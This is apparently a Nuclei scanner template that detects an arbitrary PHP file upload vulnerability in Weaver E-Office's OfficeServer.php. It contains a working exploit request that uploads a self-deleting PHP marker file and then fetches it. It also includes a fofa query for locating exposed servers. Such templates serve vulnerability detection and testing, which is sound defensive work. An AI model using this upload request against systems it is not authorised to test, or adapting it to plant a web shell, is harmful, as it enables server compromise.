weaver-office-server-file-upload: OA E-Office OfficeServer.php Arbitrary File Upload

id: weaver-office-server-file-upload

info:
  name: OA E-Office OfficeServer.php Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20OfficeServer.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="泛微-EOffice"
    product: e-office
    vendor: weaver
  tags: weaver,e-office,oa,rce,intrusive,fileupload,vuln

variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "weaver-office-server-file-upload"

http:
  - raw:
      - |
        POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew

        ------WebKitFormBoundaryLpoiBFy4ANA8daew
        Content-Disposition: form-data;name="FileData";filename="{{filename}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        ------WebKitFormBoundaryLpoiBFy4ANA8daew
        Content-Disposition: form-data;name="FormData"

        {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{filename}}.php'}
        ------WebKitFormBoundaryLpoiBFy4ANA8daew--
      - |
        GET /eoffice10/server/public/iWebOffice2015/Document/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081da822618e9fe317f90756328d9b1dc8dbcfee1879611c4bd342a2cc71d48ab022100dc76156dc1c388dff508951934fbe64d62143c0eef60a937749fb4c2ece698cd:922c64590222798bb761d5b6d8e72950